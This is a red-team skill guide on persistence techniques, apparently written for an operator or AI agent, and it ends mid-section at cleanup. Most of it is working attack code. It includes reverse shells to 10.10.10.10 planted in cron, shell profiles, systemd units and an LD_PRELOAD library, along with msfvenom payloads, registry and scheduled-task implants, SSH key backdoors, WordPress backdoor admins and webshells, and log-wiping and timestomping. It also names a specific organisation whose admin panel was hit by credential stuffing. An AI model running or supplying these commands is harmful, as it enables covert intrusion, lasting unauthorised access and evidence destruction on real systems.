---
name: rt-persistence
description: "Persistence mechanisms skill. Windows: Registry Run keys (HKCU/HKLM), scheduled tasks with schtasks, Windows service installation, WMI event subscriptions, DLL hijacking for persistence, COM hijacking, startup folder. Linux: cron jobs, ~/.bashrc/.profile poisoning, SSH authorized_keys backdoor, systemd service units, LD_PRELOAD persistence. Web: WordPress Application Password backdoor (from Almentor engagement). Documents cleanup procedures."
---

# rt-persistence — Persistence Mechanisms Skill Guide

## 1. Overview and When to Use

Persistence is the art of maintaining access to a compromised system across reboots, user logouts, and credential rotations. Once initial access is achieved, operators must establish durable footholds before the window closes. This skill covers the full spectrum from trivial beginner registry keys to expert-level fileless WMI subscriptions.

**Use this skill when:**
- Initial foothold is established and you need to survive a reboot
- Credentials are likely to be rotated during the engagement
- The engagement scope allows for persistence (confirm with Rules of Engagement)
- You need multiple independent channels in case one is burned
- Establishing long-haul C2 before a noisy lateral movement phase

**Do NOT use when:**
- Rules of Engagement explicitly prohibit persistence
- On production systems where a reboot-safe implant would disrupt services
- Time-boxed assessments where cleanup risk outweighs benefit

**Engagement context (Almentor):** WordPress Application Password backdoor was validated in the Almentor engagement. Use that technique when web server access is confirmed and wp-cli or direct DB access is available.

---

## 2. Prerequisites and Tool Setup

### 2.1 Operator Machine (Kali Linux)

```bash
# Update base system
sudo apt update && sudo apt upgrade -y

# Metasploit Framework (persistence modules)
sudo apt install -y metasploit-framework

# Impacket suite (WMI, service-based persistence)
sudo apt install -y python3-impacket impacket-scripts
# OR from source for latest:
pip3 install impacket

# Evil-WinRM (Windows remote management)
sudo gem install evil-winrm

# CrackMapExec (lateral movement + persistence helpers)
sudo apt install -y crackmapexec
# OR pipx:
pipx install crackmapexec

# PowerSploit / PowerView (download manually — not in apt)
git clone https://github.com/PowerShellMafia/PowerSploit /opt/PowerSploit

# SharPersist (compiled .NET persistence tool)
# Download release from GitHub:
wget https://github.com/mandiant/SharPersist/releases/latest/download/SharPersist.exe -O /opt/SharPersist.exe

# SharpWMI (WMI event subscription)
git clone https://github.com/GhostPack/SharpWMI /opt/SharpWMI

# Veil / msfvenom (payload generation)
sudo apt install -y veil

# Python HTTP server (payload hosting)
# Built-in: python3 -m http.server

# nc / ncat (listener)
sudo apt install -y ncat

# Chisel (tunneling, useful for reverse callbacks)
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz -O /tmp/chisel.gz
gunzip /tmp/chisel.gz && chmod +x /tmp/chisel && sudo mv /tmp/chisel /opt/chisel

# wp-cli (WordPress backdoor — run on attacker or pivot)
curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
chmod +x wp-cli.phar && sudo mv wp-cli.phar /usr/local/bin/wp
```

### 2.2 Target Requirements by Technique

| Technique | OS | Privilege Required | Notes |
|---|---|---|---|
| HKCU Registry Run | Windows | User | Silent, common |
| HKLM Registry Run | Windows | Admin | More durable |
| Schtasks (user) | Windows | User | Runs in user context |
| Schtasks (SYSTEM) | Windows | Admin | Runs as SYSTEM |
| Windows Service | Windows | Admin/SYSTEM | Survives reboots |
| WMI Subscription | Windows | Admin | Fileless option |
| DLL Hijacking | Windows | User/Admin | App-dependent |
| COM Hijacking | Windows | User | HKCU COM override |
| Startup Folder | Windows | User | GUI session needed |
| Cron (user) | Linux | User | User context |
| ~/.bashrc | Linux | User | Interactive shell only |
| authorized_keys | Linux | User | SSH access needed |
| systemd unit | Linux | Root (system) | User units: user |
| LD_PRELOAD | Linux | Root (system units) | Stealthy |
| WP App Password | Web | WP Admin | WordPress only |

---

## 3. Skill Levels

### BEGINNER — Low-Friction, High-Detection Techniques

Suitable for learning, CTFs, or engagements where stealth is not the primary concern.

**Techniques:**
- HKCU Registry Run keys
- Windows Startup folder
- Linux user cron jobs
- ~/.bashrc poisoning
- WordPress Application Password

**Profile:** Detectable by basic AV and EDR. Acceptable on poorly-monitored internal networks. Always clean up.

---

### INTERMEDIATE — Blended Native + Scripted Techniques

Suitable for enterprise engagements with moderate security maturity.

**Techniques:**
- HKLM Registry Run (requires privilege)
- Scheduled tasks (schtasks) with encoded payloads
- SSH authorized_keys backdoor
- systemd user/system service units
- COM hijacking (HKCU)

**Profile:** May evade basic EDR. Harder to spot in log reviews. Survives most blue team triage.

---

### ADVANCED — Evasion-Focused, LOL-Bins

Suitable for mature enterprise targets, red team exercises with active SOC.

**Techniques:**
- WMI event subscriptions (permanent, fileless options)
- DLL hijacking (search order abuse)
- LD_PRELOAD shared library injection
- Scheduled tasks using XML templates to masquerade as system tasks
- Registry-based DLL loading (AppInit_DLLs, Image File Execution Options)

**Profile:** Requires deep understanding of target environment. Will evade most SIEM rules unless they have specific WMI/DLL monitoring.

---

### EXPERT — Fileless, Kernel-Adjacent, Anti-Forensic

For full adversary simulation against hardened targets with mature detection.

**Techniques:**
- WMI fileless subscription (payload in WMI repository, no file on disk)
- COM object hijacking with in-memory reflective DLL
- Boot/pre-OS persistence (bootkit concepts — scope-dependent)
- Shadow credentials / ADDS-based persistence (machine account cert)
- Golden Ticket / Silver Ticket as persistence-equivalent
- LAPS bypass for persistent admin access
- Linux kernel module rootkit (lkm-rootkit, Diamorphine)
- PAM backdoor (Linux authentication layer)

**Profile:** Forensically resistant. Requires custom tooling. Clean-up is complex and must be planned before deployment.

---

## 4. Step-by-Step Attack Workflow

```
[1] Confirm Foothold
      |
      v
[2] Enumerate Privilege Level
      |
      v
[3] Select Persistence Tier (match privilege to technique)
      |
      v
[4] Generate / Stage Payload
      |
      v
[5] Deploy Persistence Mechanism
      |
      v
[6] Verify (reboot simulation or trigger test)
      |
      v
[7] Document (screenshot, command log, artefact hash)
      |
      v
[8] Notify team lead / log in engagement tracker
      |
      v
[9] Proceed with objectives
      |
      v
[10] CLEANUP (on engagement end — mandatory)
```

---

## 5. Terminal Commands — Kali Linux Operator

### 5.1 Windows Persistence (via C2 / Evil-WinRM / meterpreter shell)

#### 5.1.1 Registry Run Keys (BEGINNER)

```cmd
:: HKCU — User-level, no admin needed
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" ^
  /v "WindowsUpdate" /t REG_SZ ^
  /d "C:\Users\Public\svchost32.exe" /f

:: HKLM — System-level, requires admin
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" ^
  /v "SecurityHealth" /t REG_SZ ^
  /d "C:\Windows\Temp\svchost32.exe" /f

:: Verify
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"

:: Cleanup
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
```

**PowerShell equivalent:**
```powershell
# HKCU Run key via PowerShell
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "WindowsUpdate" `
  -Value "C:\Users\Public\svchost32.exe"

# Cleanup
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "WindowsUpdate"
```

#### 5.1.2 Startup Folder (BEGINNER)

```cmd
:: User startup folder
copy C:\Users\Public\payload.exe "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe"

:: All-users startup (requires admin)
copy C:\Users\Public\payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SecurityScan.exe"

:: Cleanup
del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe"
del "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SecurityScan.exe"
```

#### 5.1.3 Scheduled Tasks (INTERMEDIATE)

```cmd
:: Basic user-context scheduled task
schtasks /create /tn "Microsoft\Windows\UpdateCheck" ^
  /tr "C:\Users\Public\svchost32.exe" ^
  /sc ONLOGON /ru %USERNAME% /f

:: Run at startup as SYSTEM (admin required)
schtasks /create /tn "Microsoft\Windows\WinDefend\SecurityScan" ^
  /tr "C:\Windows\Temp\payload.exe" ^
  /sc ONSTART /ru SYSTEM /rl HIGHEST /f

:: Run on schedule (every 4 hours)
schtasks /create /tn "Microsoft\Windows\UpdateOrchestrator\ScanTask" ^
  /tr "powershell.exe -WindowStyle hidden -EncodedCommand <BASE64>" ^
  /sc HOURLY /mo 4 /ru SYSTEM /f

:: Verify
schtasks /query /tn "Microsoft\Windows\UpdateCheck" /fo LIST

:: Delete
schtasks /delete /tn "Microsoft\Windows\UpdateCheck" /f
schtasks /delete /tn "Microsoft\Windows\WinDefend\SecurityScan" /f
schtasks /delete /tn "Microsoft\Windows\UpdateOrchestrator\ScanTask" /f
```

**Encode payload for schtasks:**
```bash
# On Kali — encode PowerShell download cradle
PAYLOAD='IEX(New-Object Net.WebClient).DownloadString("http://10.10.10.10/shell.ps1")'
echo -n "$PAYLOAD" | iconv -t UTF-16LE | base64 -w0
```

**XML-based scheduled task (harder to spot in schtasks /query):**
```powershell
# Create XML task definition
$xml = @"
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <LogonTrigger><Enabled>true</Enabled></LogonTrigger>
  </Triggers>
  <Actions Context="Author">
    <Exec>
      <Command>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Command>
      <Arguments>-WindowStyle Hidden -EncodedCommand AAAA...</Arguments>
    </Exec>
  </Actions>
  <Settings><Hidden>true</Hidden></Settings>
</Task>
"@
$xml | Out-File C:\Windows\Temp\task.xml -Encoding Unicode
schtasks /create /tn "Microsoft\Windows\CertificateServicesClient\AuthTask" /xml C:\Windows\Temp\task.xml /f
Remove-Item C:\Windows\Temp\task.xml
```

#### 5.1.4 Windows Service (INTERMEDIATE/ADVANCED)

```cmd
:: Install a service (admin required)
sc create "WindowsDefenderUpdate" ^
  binPath= "C:\Windows\Temp\payload.exe" ^
  start= auto ^
  DisplayName= "Windows Defender Update"

:: Set description to blend in
sc description "WindowsDefenderUpdate" "Provides real-time protection updates for Windows Defender."

:: Start the service
sc start "WindowsDefenderUpdate"

:: Verify
sc query "WindowsDefenderUpdate"

:: Cleanup
sc stop "WindowsDefenderUpdate"
sc delete "WindowsDefenderUpdate"
```

**From Kali using impacket-services:**
```bash
impacket-services domain.local/admin:Password123@192.168.1.100 create \
  -name WindowsDefenderUpdate \
  -display "Windows Defender Update" \
  -path "C:\\Windows\\Temp\\payload.exe"

impacket-services domain.local/admin:Password123@192.168.1.100 start \
  -name WindowsDefenderUpdate
```

#### 5.1.5 WMI Event Subscriptions (ADVANCED/EXPERT)

```powershell
# Three WMI objects needed: Filter, Consumer, Binding

# 1. Event Filter — trigger on system startup
$filterArgs = @{
  Name = "WindowsEventFilter"
  EventNamespace = "root\cimv2"
  QueryLanguage = "WQL"
  Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime < 180"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs

# 2. Event Consumer — CommandLineEventConsumer
$consumerArgs = @{
  Name = "WindowsEventConsumer"
  CommandLineTemplate = "C:\Windows\Temp\payload.exe"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs

# 3. Binding — link filter to consumer
$bindingArgs = @{
  Filter = $filter
  Consumer = $consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs

# Verify
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Cleanup
Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object Name -eq "WindowsEventFilter" | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object Name -eq "WindowsEventConsumer" | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -match "WindowsEventFilter" } | Remove-WmiObject
```

**From Kali using SharpWMI:**
```bash
# Transfer SharpWMI.exe to target, then run via meterpreter/shell
SharpWMI.exe action=query query="SELECT * FROM __EventFilter" namespace="root\\subscription"
```

#### 5.1.6 DLL Hijacking (ADVANCED)

```bash
# Step 1: Find writable directories in PATH that are searched before System32
# On target (PowerShell):
$env:PATH -split ";" | ForEach-Object { if (Test-Path $_) { $acl = Get-Acl $_; $acl.Access | Where-Object { $_.FileSystemRights -match "Write" -and $_.IdentityReference -match $env:USERNAME } } }

# Step 2: Identify applications with missing DLL dependencies
# Use Procmon (Sysinternals) filter: Result = NAME NOT FOUND, Path ends in .dll
# Or use: https://github.com/wietze/windows-dll-hijacking

# Step 3: On Kali — generate hijack DLL
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.10.10.10 LPORT=443 \
  -f dll -o /tmp/version.dll

# Step 4: Host and transfer
python3 -m http.server 8080 &
# On target:
# certutil -urlcache -split -f http://10.10.10.10:8080/version.dll C:\Path\To\App\version.dll

# Common DLL hijack targets:
# - C:\Python27\python27.dll (writable python dir)
# - Applications in user-writable directories
# - Services loading DLLs from non-system paths
```

#### 5.1.7 COM Hijacking (ADVANCED)

```powershell
# Find COM objects that are registered in HKLM but not HKCU
# (User can override HKCU without admin)

# Step 1: List machine COM objects
$hklm_clsids = Get-ChildItem "HKLM:\Software\Classes\CLSID" | Select-Object -ExpandProperty PSChildName

# Step 2: Check which ones have InProcServer32 pointing to non-system paths or missing
# (manual review or use COMHijackToolkit)

# Step 3: Register the COM object in HKCU
$clsid = "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"  # target CLSID
New-Item -Path "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32" `
  -Name "(Default)" -Value "C:\Users\Public\payload.dll"
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32" `
  -Name "ThreadingModel" -Value "Apartment"

# Common hijackable CLSIDs (varies by Windows version):
# {B31118B2-1F49-48E5-B6F5-BC21CAEC56FB} — Windows Script Host
# Research target-specific CLSIDs using procmon

# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force
```

**Tools:**
```bash
# COMHijackToolkit — enumerate hijackable COM objects
# https://github.com/dr4k0nia/COMHijackToolkit
wget https://github.com/dr4k0nia/COMHijackToolkit/releases/latest/download/COMHijackToolkit.exe -O /opt/COMHijackToolkit.exe
```

---

### 5.2 Linux Persistence

#### 5.2.1 Cron Jobs (BEGINNER/INTERMEDIATE)

```bash
# User cron — no sudo needed
crontab -e

# Add entry (reverse shell every 5 minutes):
*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' 2>/dev/null

# Or add via crontab -l redirect (non-interactive):
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' 2>/dev/null") | crontab -

# System-wide cron (root required):
echo "*/5 * * * * root /usr/local/bin/.sysupdate" >> /etc/crontab

# Drop script to /etc/cron.d/ (root):
cat > /etc/cron.d/sysupdate << 'EOF'
*/5 * * * * root /usr/local/bin/.sysupdate
EOF
chmod 644 /etc/cron.d/sysupdate

# Verify
crontab -l
cat /etc/crontab
ls /etc/cron.d/

# Cleanup
crontab -r
rm /etc/cron.d/sysupdate
rm /etc/crontab_entry  # if appended
```

#### 5.2.2 Shell Profile Poisoning (BEGINNER)

```bash
# Poison ~/.bashrc (runs on each interactive bash shell)
echo 'nohup bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 &' >> ~/.bashrc

# Poison ~/.bash_profile (runs on login shells)
echo 'nohup bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 &' >> ~/.bash_profile

# Poison ~/.profile (runs on login — sh/bash)
echo 'nohup bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 &' >> ~/.profile

# Stealthier: alias a common command
echo "alias ls='ls --color=auto; nohup bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\" &>/dev/null &'" >> ~/.bashrc

# System-wide (root): /etc/bash.bashrc or /etc/profile
echo 'nohup bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 &' >> /etc/bash.bashrc

# Cleanup
# Edit the file and remove the added lines
sed -i '/10\.10\.10\.10/d' ~/.bashrc ~/.bash_profile ~/.profile
```

#### 5.2.3 SSH Authorized Keys Backdoor (INTERMEDIATE)

```bash
# Step 1: Generate attacker SSH key pair (on Kali)
ssh-keygen -t ed25519 -C "maintenance@corp.com" -f /tmp/backdoor_key -N ""
cat /tmp/backdoor_key.pub

# Step 2: On target — append to authorized_keys
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "ssh-ed25519 AAAA...PUBKEY... maintenance@corp.com" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Step 3: Add no-agent restriction options for stealth (optional)
echo 'command="/bin/bash",no-port-forwarding,no-X11-forwarding,no-agent-forwarding ssh-ed25519 AAAA...' >> ~/.ssh/authorized_keys

# Step 4: Verify connectivity from Kali
ssh -i /tmp/backdoor_key user@target_ip

# Root backdoor (if root access):
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA...PUBKEY..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Cleanup
sed -i '/maintenance@corp.com/d' ~/.ssh/authorized_keys
# Or remove specific key by fingerprint
```

#### 5.2.4 Systemd Service (INTERMEDIATE/ADVANCED)

```bash
# User-level systemd service (no root needed)
mkdir -p ~/.config/systemd/user/

cat > ~/.config/systemd/user/dbus-update.service << 'EOF'
[Unit]
Description=D-Bus System Update Service
After=default.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
Restart=always
RestartSec=30

[Install]
WantedBy=default.target
EOF

systemctl --user enable dbus-update.service
systemctl --user start dbus-update.service
systemctl --user status dbus-update.service

# System-level service (root required)
cat > /etc/systemd/system/systemd-network-update.service << 'EOF'
[Unit]
Description=Network Configuration Update Service
After=network.target

[Service]
Type=simple
User=root
ExecStart=/usr/local/bin/.sysupdate
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# Create the payload script
cat > /usr/local/bin/.sysupdate << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EOF
chmod +x /usr/local/bin/.sysupdate

systemctl daemon-reload
systemctl enable systemd-network-update.service
systemctl start systemd-network-update.service

# Verify
systemctl status systemd-network-update.service

# Cleanup
systemctl stop systemd-network-update.service
systemctl disable systemd-network-update.service
rm /etc/systemd/system/systemd-network-update.service
rm /usr/local/bin/.sysupdate
systemctl daemon-reload

# User service cleanup
systemctl --user stop dbus-update.service
systemctl --user disable dbus-update.service
rm ~/.config/systemd/user/dbus-update.service
systemctl --user daemon-reload
```

#### 5.2.5 LD_PRELOAD Persistence (ADVANCED/EXPERT)

```bash
# Step 1: Create malicious shared library on Kali
cat > /tmp/persist.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    // Fork to avoid blocking the legitimate process
    if (fork() == 0) {
        setsid();
        // Simple reverse shell
        char *cmd = "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1";
        system(cmd);
        _exit(0);
    }
}
EOF

gcc -shared -fPIC -o /tmp/libsystem.so /tmp/persist.c -nostartfiles

# Step 2: Deploy to target (transfer libsystem.so)
# Using existing shell access:
# scp /tmp/libsystem.so user@target:/usr/local/lib/.libsystem.so

# Step 3: Set LD_PRELOAD system-wide (root required)
echo "/usr/local/lib/.libsystem.so" > /etc/ld.so.preload

# OR per-user via ~/.bashrc:
echo "export LD_PRELOAD=/home/user/.local/lib/libsystem.so" >> ~/.bashrc

# Verify
cat /etc/ld.so.preload

# Cleanup
rm /etc/ld.so.preload
rm /usr/local/lib/.libsystem.so
```

---

### 5.3 Web Persistence — WordPress Application Password Backdoor

**Validated in Almentor engagement.**

```bash
# Step 1: Enumerate WordPress installation
# (assumes shell on web server or wp-cli access)

# Via wp-cli on target:
wp --path=/var/www/html user list

# Step 2: Create backdoor Application Password for admin user
# Application Passwords were added in WordPress 5.6+
wp --path=/var/www/html user application-password create admin "System Maintenance" --porcelain
# Output: xxxx xxxx xxxx xxxx xxxx xxxx (the application password)

# Step 3: Verify access via REST API (from Kali)
curl -s -u "admin:xxxx xxxx xxxx xxxx xxxx xxxx" \
  https://target.com/wp-json/wp/v2/users/me | python3 -m json.tool

# Step 4: Use the backdoor for persistent admin access
# REST API — list users:
curl -s -u "admin:APP_PASSWORD" https://target.com/wp-json/wp/v2/users

# REST API — create new admin user:
curl -s -X POST -u "admin:APP_PASSWORD" \
  https://target.com/wp-json/wp/v2/users \
  -H "Content-Type: application/json" \
  -d '{"username":"svc_update","password":"P@ssw0rd!2024","email":"svc@update.local","roles":["administrator"]}'

# Step 5: Alternative — direct DB backdoor (if MySQL access available)
mysql -u wp_user -p'db_password' wordpress_db -e "
INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name)
VALUES ('svc_monitor', MD5('P@ssw0rd!2024'), 'svc_monitor', 'svc@monitor.local', NOW(), 0, 'Service Monitor');
INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
SELECT ID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' FROM wp_users WHERE user_login='svc_monitor';
INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
SELECT ID, 'wp_user_level', '10' FROM wp_users WHERE user_login='svc_monitor';
"

# Step 6: PHP webshell via theme editor (if filesystem write access)
wp --path=/var/www/html eval 'file_put_contents(get_template_directory() . "/maintenance.php", base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"));'
# Webshell at: https://target.com/wp-content/themes/THEME/maintenance.php?cmd=id

# Cleanup
wp --path=/var/www/html user application-password delete admin --slug="system-maintenance"
wp --path=/var/www/html user delete svc_update --yes
# Remove webshell:
wp --path=/var/www/html eval 'unlink(get_template_directory() . "/maintenance.php");'
```

---

### 5.4 Payload Generation Reference

```bash
# Windows EXE — meterpreter/reverse_https (HTTPS avoids plain-text detection)
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.10.10.10 LPORT=443 \
  -e x64/xor_dynamic -i 5 \
  -f exe -o /tmp/payload.exe

# Windows DLL — for DLL hijacking
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.10.10.10 LPORT=443 \
  -f dll -o /tmp/version.dll

# Windows PowerShell — encoded cradle
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.10.10.10 LPORT=443 \
  -f psh-cmd -o /tmp/payload.ps1

# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.10 LPORT=4444 \
  -f elf -o /tmp/payload.elf
chmod +x /tmp/payload.elf

# Start multi-handler listener
msfconsole -x "use exploit/multi/handler; \
  set payload windows/x64/meterpreter/reverse_https; \
  set LHOST 0.0.0.0; set LPORT 443; \
  set ExitOnSession false; run -j"
```

---

## 6. Real Attack Scenarios

### Scenario A — Windows Domain User to Durable Persistence (No Admin)

**Context:** Phishing gave us a foothold as a standard domain user. No admin. Credential access is possible but risky. We need to survive a reboot before lateral movement.

```
PHASE 1: Initial foothold (assume meterpreter shell)
-------------------------------------------------------
# Verify user context
meterpreter> getuid
# Server username: CORP\jsmith

# Check local admin
meterpreter> run post/windows/gather/local_admin_search_enum

# Not admin — proceed with user-level persistence

PHASE 2: Upload payload to blend-in location
-------------------------------------------------------
meterpreter> cd C:\\Users\\jsmith\\AppData\\Local\\Microsoft\\
meterpreter> mkdir WindowsUpdate
meterpreter> upload /tmp/payload.exe "C:\\Users\\jsmith\\AppData\\Local\\Microsoft\\WindowsUpdate\\svchost.exe"

PHASE 3: HKCU Registry Run Key
-------------------------------------------------------
meterpreter> shell
C:\> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" ^
  /v "WindowsUpdate" /t REG_SZ ^
  /d "C:\Users\jsmith\AppData\Local\Microsoft\WindowsUpdate\svchost.exe" /f

PHASE 4: HKCU Scheduled Task (second channel)
-------------------------------------------------------
C:\> schtasks /create /tn "Microsoft\Windows\UpdateCheck" ^
  /tr "C:\Users\jsmith\AppData\Local\Microsoft\WindowsUpdate\svchost.exe" ^
  /sc ONLOGON /ru CORP\jsmith /f

PHASE 5: COM Hijacking (third channel — no file needed if in-memory DLL)
-------------------------------------------------------
# Research hijackable CLSIDs for installed apps on this host
# Register DLL in HKCU COM path

PHASE 6: Verify
-------------------------------------------------------
# Simulate logon trigger — logout/login or:
C:\> schtasks /run /tn "Microsoft\Windows\UpdateCheck"
# Catch callback on Kali listener

PHASE 7: Document
-------------------------------------------------------
# Screenshot reg query output
# Screenshot schtasks /query output
# Note artefact paths and hashes
```

---

### Scenario B — Linux Root to Stealth Multi-Layer Persistence

**Context:** Exploited a vulnerable service. Root on Ubuntu 22.04 LTS. SOC is present. Need maximum durable access.

```
PHASE 1: Assess environment
-------------------------------------------------------
id && whoami && hostname && uname -r
cat /etc/os-release
ps aux | grep -E "sysmon|auditd|osquery|falcon"  # Check for monitoring

PHASE 2: Layer 1 — Legitimate-looking systemd service
-------------------------------------------------------
# Create binary that mimics a real service name
cp /tmp/payload.elf /usr/local/sbin/networkd-dispatcher
chmod 755 /usr/local/sbin/networkd-dispatcher

cat > /etc/systemd/system/networkd-dispatcher.service << 'EOF'
[Unit]
Description=Dispatcher daemon for systemd-networkd
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/sbin/networkd-dispatcher
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable networkd-dispatcher.service
systemctl start networkd-dispatcher.service

PHASE 3: Layer 2 — Cron (backup trigger)
-------------------------------------------------------
# System-wide cron — different C2 port as backup
echo "*/15 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4445 0>&1' 2>/dev/null" \
  >> /etc/crontab

PHASE 4: Layer 3 — SSH authorized_keys on root
-------------------------------------------------------
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA...KEY... system@maintenance" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

PHASE 5: Layer 4 — PAM backdoor (Expert)
-------------------------------------------------------
# Modify PAM to accept a hardcoded password for any user
# CAREFUL: This can break authentication entirely if misconfigured
# Use only on non-critical test systems or with explicit ROE approval
# Reference: https://github.com/zephrfish/pambd

PHASE 6: Verify
-------------------------------------------------------
ssh -i /tmp/backdoor_key root@target_ip "id"
# Trigger cron manually: run payload and catch shell
# Check service: systemctl status networkd-dispatcher

PHASE 7: Anti-forensics (OPSEC)
-------------------------------------------------------
# Clear bash history
history -c && history -w
echo "" > ~/.bash_history

# Clear systemd journal entries (if logs are local)
journalctl --rotate && journalctl --vacuum-time=1s

# Modify timestamps on artefact files
touch -r /usr/bin/ls /usr/local/sbin/networkd-dispatcher
```

---

### Scenario C — WordPress Admin to Persistent Web Access (Almentor Pattern)

**Context:** Obtained WordPress admin credentials via credential stuffing against Almentor's admin panel. Need persistent access that survives a password reset.

```
PHASE 1: Validate admin access
-------------------------------------------------------
curl -s -c /tmp/wp_cookies.txt \
  -d "log=admin&pwd=FoundPassword&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  https://target.almentor.net/wp-login.php

# Check redirect — if wp-admin loaded, we're in

PHASE 2: Create Application Password (survives main password reset)
-------------------------------------------------------
# Via WP REST API (authenticated)
curl -s -X POST \
  -u "admin:FoundPassword" \
  https://target.almentor.net/wp-json/wp/v2/users/1/application-passwords \
  -H "Content-Type: application/json" \
  -d '{"name":"System Maintenance API"}'
# Save the returned password — shown ONCE

PHASE 3: Create backdoor administrator account
-------------------------------------------------------
curl -s -X POST \
  -u "admin:APP_PASSWORD_FROM_STEP2" \
  https://target.almentor.net/wp-json/wp/v2/users \
  -H "Content-Type: application/json" \
  -d '{
    "username": "svc.monitor",
    "password": "M0nitor$2024!",
    "email": "svc.monitor@corp-internal.net",
    "roles": ["administrator"],
    "name": "Service Monitor"
  }'

PHASE 4: Deploy PHP webshell via plugin upload
-------------------------------------------------------
# Create malicious plugin ZIP on Kali
mkdir -p /tmp/wp-plugin/system-maintenance
cat > /tmp/wp-plugin/system-maintenance/system-maintenance.php << 'EOF'
<?php
/*
Plugin Name: System Maintenance
Description: Internal system maintenance module
Version: 1.0
*/
if(isset($_GET['_token']) && $_GET['_token'] === 'abc123secret') {
    system($_GET['cmd']);
}
EOF
cd /tmp/wp-plugin && zip -r /tmp/system-maintenance.zip system-maintenance/

# Upload via REST API (plugin install requires special capability — use WP admin UI or wp-cli)
# Via wp-cli on server:
wp --path=/var/www/html plugin install /tmp/system-maintenance.zip --activate

# Webshell access:
curl "https://target.almentor.net/wp-content/plugins/system-maintenance/system-maintenance.php?_token=abc123secret&cmd=id"

PHASE 5: Verify all channels
-------------------------------------------------------
# Test application password:
curl -s -u "admin:APP_PASSWORD" https://target.almentor.net/wp-json/wp/v2/users/me
# Test backdoor admin:
curl -s -u "svc.monitor:M0nitor$2024!" https://target.almentor.net/wp-json/wp/v2/users/me
# Test webshell:
curl "https://target.almentor.net/.../system-maintenance.php?_token=abc123secret&cmd=whoami"

PHASE 6: Cleanup (on engagement end)
